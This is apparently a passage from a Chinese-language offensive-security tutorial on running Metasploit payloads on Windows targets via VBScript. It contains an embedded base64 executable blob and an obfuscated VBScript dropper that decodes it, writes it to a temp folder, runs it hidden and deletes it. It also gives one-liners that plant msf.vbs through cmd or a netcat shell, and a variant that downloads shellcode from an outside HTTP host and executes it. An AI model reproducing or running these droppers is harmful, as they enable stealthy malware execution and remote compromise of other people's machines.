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"
  Dim GBHMAfCsea
  Set GBHMAfCsea = CreateObject("Scripting.FileSystemObject")
  Dim nYosrMtHSIOKSTI
  Dim LNXsqHXEKZQU
  Set nYosrMtHSIOKSTI = GBHMAfCsea.GetSpecialFolder(2)
  LNXsqHXEKZQU = nYosrMtHSIOKSTI & "\" & GBHMAfCsea.GetTempName()
  GBHMAfCsea.CreateFolder(LNXsqHXEKZQU)
  YeQZhbvaLPekFW = LNXsqHXEKZQU & "\" & "QoziwORKliqRDPs.exe"
  Dim voFeIDpffjdo
  Set voFeIDpffjdo = CreateObject("Wscript.Shell")
  WwqoNcaCIbw = oSpLpsWeU(cTENSbYbnWY)
  Set WQwWDbhse = CreateObject("ADODB.Stream")
  WQwWDbhse.Type = 1
  WQwWDbhse.Open
  WQwWDbhse.Write WwqoNcaCIbw
  WQwWDbhse.SaveToFile YeQZhbvaLPekFW, 2
  voFeIDpffjdo.run YeQZhbvaLPekFW, 0, true
  GBHMAfCsea.DeleteFile(YeQZhbvaLPekFW)
  GBHMAfCsea.DeleteFolder(LNXsqHXEKZQU)
End Function
 
skbfzWOqR

演示：
可以把生成的payload放到服务器，然后再目标系统上执行ps代码，文章开头说的远程下载：

如何以简单/兼容的方式运行payload？

阅读代码，我们可以创建一个名为msf.vbs的简单的vbs脚本来执行shellcode。 vbs脚本可以在Windows XP / 2003 / Vista / 7/8/10/2008/2012 / ....上执行


shellcode = WScript.Arguments.Item(0)
strXML = "" & shellcode & ""
Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0")
oXMLDoc.LoadXML(strXML) decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue
set oXMLDoc = nothing
 Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
Dim tempdir
Dim basedir
Set tempdir = fso.GetSpecialFolder(2)
basedir = tempdir & "\" & fso.GetTempName()
fso.CreateFolder(basedir)
tempexe = basedir & "\" & "test.exe"
Dim adodbstream
Set adodbstream = CreateObject("ADODB.Stream")
adodbstream.Type = 1
adodbstream.Open
adodbstream.Write decode
adodbstream.SaveToFile tempexe, 2
Dim wshell
Set wshell = CreateObject("Wscript.Shell")
wshell.run tempexe, 0, true
fso.DeleteFile(tempexe)
fso.DeleteFolder(basedir)
 
Ok, how to run it in cmd.exe ? Do you want  to paste the code line by line ?  A simple command is created as follow:

用一个简单的命令上传msf.vbs到目标系统：

echo shellcode = WScript.Arguments.Item(0):strXML = ^"^^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir) > %TEMP%\msf.vbs

用msf.vbs和cscript.exe执行metasploit payload:

C:\Documents and Settings\test\Desktop> cscript.exe msf.vbs <msf-vbs-shellcode>

绕过nc shell缓冲区大小限制

如果脚本在本地主机上的cmd.exe中使用，则一切正常。但是，如果它在netcat cmd shell中使用，则 payload将被破坏。例如：


C:\Documents and Settings\test\Desktop>cscript.exe %TEMP%\msf.vbs TVqQAAMAA.....AAAAAP
 
Microsoft (R) Windows Script Host Version 5.7
Copyright (C) Microsoft Corporation. All rights reserved.
 
C:\DOCUME~1\test\LOCALS~1\Temp\msf.vbs(1, 53) Microsoft VBScript compilation error: Syntax error

origin payload size: 6160
netcat handle payload size: 4068

请自己尝试，为了安全测试，另外创建了一个vbs脚本。

echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject(^"MSXML2.XMLHTTP^"):objXMLHTTP.open ^"GET^", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = ^"^<B64DECODE xmlns:dt=^" ^& Chr(34) ^& ^"urn:schemas-microsoft-com:datatypes^" ^& Chr(34) ^& ^" ^" ^& ^"dt:dt=^" ^& Chr(34) ^& ^"bin.base64^" ^& Chr(34) ^& ^"^>^" ^& shellcode ^& ^"^<^/B64DECODE^>^":Set oXMLDoc = CreateObject(^"MSXML2.DOMDocument.3.0^"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode(^"B64DECODE^").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject(^"Scripting.FileSystemObject^"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir ^& ^"\^" ^& fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir ^& ^"\^" ^& ^"test.exe^":Dim adodbstream:Set adodbstream = CreateObject(^"ADODB.Stream^"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject(^"Wscript.Shell^"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs

运行以下命令来执行您的vbs payload：

START /B cscript.exe %TEMP%\msf.vbs http://192.168.1.100:8080/payload.txt

参考来源

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